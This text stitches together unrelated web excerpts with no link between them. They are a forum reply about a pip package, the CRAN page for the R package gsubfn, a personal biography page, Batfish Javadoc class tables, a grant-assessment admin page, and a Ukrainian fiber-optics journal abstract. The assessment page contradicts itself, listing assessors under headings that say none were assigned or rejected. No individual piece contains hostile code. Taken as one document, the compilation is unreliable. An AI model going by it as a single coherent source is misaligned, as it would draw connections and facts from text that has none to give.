Do you think this is still an improvement over the current situation? We currently need to tweak the path, but had control to where the script ended up. Now we loose control but it should end up in a more standard place.
I like that it's more universal, I don't have Ubuntu or Windows, the pip package makes it easier to use for me.
Good. Thank you very much for testing this. I wish more people could try...
{% endraw %}Last updated: Apr 24 2020 at 19:02 UTC


gsubfn: Utilities for Strings and Function Arguments
The gsubfn function is like gsub but can take a replacement
function or certain other objects instead of the replacement string.
Matches and back references are input to the replacement function and
replaced by the function output. gsubfn can be used to split strings
based on content rather than delimiters and for quasi-perl-style string
interpolation. The package also has facilities for translating formulas
to functions and allowing such formulas in function calls instead of
functions. This can be used with R functions such as apply, sapply,
lapply, optim, integrate, xyplot, Filter and any other function that
expects another function as an input argument or functions like cat
or sql calls that may involve strings where substitution is desirable.
There is also a facility for returning multiple objects from functions
and a version of transform that allows the RHS to refer to LHS used in
the same transform.
Downloads:
Reverse dependencies:
| Reverse depends: |
fscaret, sqldf |
| Reverse imports: |
datamart, iemisc, ITGM, MplusAutomation, rSQM, smartR, smbinning, SpecHelpers, vmsbase |
| Reverse suggests: |
ChemoSpec, lulcc, rtf |
Linking:
Please use the canonical form
https://CRAN.R-project.org/package=gsubfn
to link to this page.


Ok, how do I do this?
Let's see... I grew up in Soviet Яussia. So, that was pretty awesome!
I got to learn some essential survival skills - like how to grow beets and reuse empty pickle jars.
(Yes,
Russian stereotypes are true, at least some of them! )
Also, when I was little I wanted to be a cashier!
I played alone - imaginary customers, an oversized calculator. I felt important smashing plastic buttons.
But the best part was adding/subtracting large numbers in my head. I had fun with it! At that age I didn't have to learn "that kinda math" -
I just wanted an efficient solution.
Later in my math class - I HAD to do it. That's when the fun ended and I didn't want to play with numbers anymore.
Fast-forward 25 years » I'm in my 30s and live in the US.
There have been many things I had to do - I've been serious and organized, studied and worked a lot.
I think I managed well. Most of all I appreciate all the things I loved to do - write, dance, travel, play piano, adopt dogs,
paint, garden, climb trees, ride horses, live in pAris, swim with dolphins, explore art,
read French, speak Latin, teach children, teach myself.
I'm always learning something new and, as of recent, I've been diving deeper in Digital Photography.
So, in the future, I want to use this space for my favorite photography projects.
Thank you for reading,
Irina


| Package | Description |
|---|---|
| org.batfish.z3 | |
| org.batfish.z3.expr | |
| org.batfish.z3.expr.visitors | |
| org.batfish.z3.state | |
| org.batfish.z3.state.visitors |
| Class and Description |
|---|
| BasicRuleStatement
A @{link RuleStatement} by which a postcondition state is produced by a set of precondition
state(s) under state-independent constraints
|
| BooleanExpr |
| Comment |
| GenericStatementVisitor |
| IntExpr |
| QueryStatement |
| RuleStatement
A statement describing the preconditions necessary to reach a specified target state
|
| StateExpr
An expression representing parameterized state.
|
| Statement |
| VarIntExpr |
| Class and Description |
|---|
| BasicRuleStatement
A @{link RuleStatement} by which a postcondition state is produced by a set of precondition
state(s) under state-independent constraints
|
| BooleanExpr |
| Comment |
| Expr |
| FalseExpr |
| GenericStatementVisitor |
| IntExpr |
| QueryStatement |
| RangeMatchExpr |
| RuleStatement
A statement describing the preconditions necessary to reach a specified target state
|
| StateExpr
An expression representing parameterized state.
|
| StateExpr.State |
| Statement |
| TrueExpr |
| TypeExpr |
| VarIntExpr |
| VoidStatementVisitor |
| Class and Description |
|---|
| AndExpr |
| BasicRuleStatement
A @{link RuleStatement} by which a postcondition state is produced by a set of precondition
state(s) under state-independent constraints
|
| BitVecExpr |
| BooleanExpr |
| Comment |
| EqExpr |
| Expr |
| ExtractExpr
Represents a projection of a bitvector to a bitvector of a lower dimension.
|
| FalseExpr |
| GenericStatementVisitor |
| HeaderSpaceMatchExpr |
| IdExpr |
| IfExpr |
| IfThenElse |
| IntExpr |
| IpSpaceMatchExpr |
| ListExpr |
| LitIntExpr |
| NotExpr |
| OrExpr |
| PrefixMatchExpr |
| QueryStatement |
| RangeMatchExpr |
| StateExpr
An expression representing parameterized state.
|
| StateExpr.State |
| Statement |
| TransformedVarIntExpr |
| TrueExpr |
| VarIntExpr |
| VoidStatementVisitor |
| Class and Description |
|---|
| Expr |
| StateExpr
An expression representing parameterized state.
|
| StateExpr.State |
| Class and Description |
|---|
| IntExpr |
| RuleStatement
A statement describing the preconditions necessary to reach a specified target state
|
| StateExpr
An expression representing parameterized state.
|
| StateExpr.State |
Copyright © 2014–2018. All rights reserved.


assessment period
94565678: The potential for glucose based contact lens monitoring in the managment of type two diabetetes
Partners
- Aptrans Ltd (Lead)
- Biotech Corp.
Innovation area
Assigned (4)
| Assessor | Type | Innovation area | Total applications | Assigned | Notified | Accepted | Started | Submitted | Action | Actions |
|---|---|---|---|---|---|---|---|---|---|---|
| Oliver Romero | Academic | Healthcare, Regenerative medicine | 6 | 4 | - Yes | - Yes | - Yes | - Yes |
|
No assessors have been assigned to this application.
Rejected (1)
| Assessor | Type | Innovation area | Reason | Total applications | Assigned |
|---|---|---|---|---|---|
| Irving Wolfe | Academic | Healthcare, Regenerative medicine | 6 | 4 |
No assessors have rejected this application.
Previously assigned (0)
| Assessor | Type | Innovation area | Total applications | Assigned | Reassign |
|---|---|---|---|---|---|
| Dave Smith | Business | Electronics, sensors & photonics, Materials | 6 | 4 |
No assessors were previously assigned to this application.


ABSTRACT
Malysh M.I., Kulish M.R. Fiber optic information transmission systems. Visnyk National Transport University. Series «Technical sciences». Scientific and Technical Collection. - Kyiv: National Transport University, 2021. - Issue 1 (48).
Features of information transmission on optical fibers in the presence of spark and electric noise are investigated in detail.
The purpose of research: to determine the requirements for light sources, optical cables and photodetectors most suitable for the manufacture of fiber optic systems suitable for information exchange.
The object of research is fiber optic systems.
Research method is theoretical.
The basic requirements for the choice of light-emitting diodes, photodiodes and optical cables in the technical implementation of optical communication in the presence of spark and electromagnetic interference.
KEYWORDS: LED, OPTICAL LINE, PHOTODETECTOR, INFORMATION.
REFERENCES
AUTHOR
Malysh M. I., associate professor, National Transport University, associate professor department of information and analytical activities and information security, e-mail<EMAIL_ADDRESS>tel. +380442846709, +380508257165, Ukraine, 01103, Kyiv, M. Boychuk str., 42, of. 410, orcid.org/0000- 0003-4532-0764
Kulish Mуkola Radionovich, doctor of physical-mathematical sciences, V. Lashkaryov Institute of Semiconductor Physics NAS of Ukraine, Leading Researcher, e-mail<EMAIL_ADDRESS>tel. +380445256024, +380730422661, Ukraine, 03028, Kyiv, Bolshay Kitaevskay str. 10, of. 10, orcid.org/0000- 0002-4365-8174
REVIEWER
Danchuk V.D., doctor of sciences, professor, dean of the Faculty of Transport and Information Technologies, Kyiv, Ukraine.
Strelchuk V.V., doctor of sciences, professor, head department of general physics, У.Е. Lashkaryov Institute of Semiconductor Physics NAS of Ukraine, Kyiv, Ukraine.
Article language: Ukrainian
Open Access: http://publications.ntu.edu.ua/visnyk/48/188-202.pdf
Print date: 15.03.2021
Online publication date: 05.04.2021


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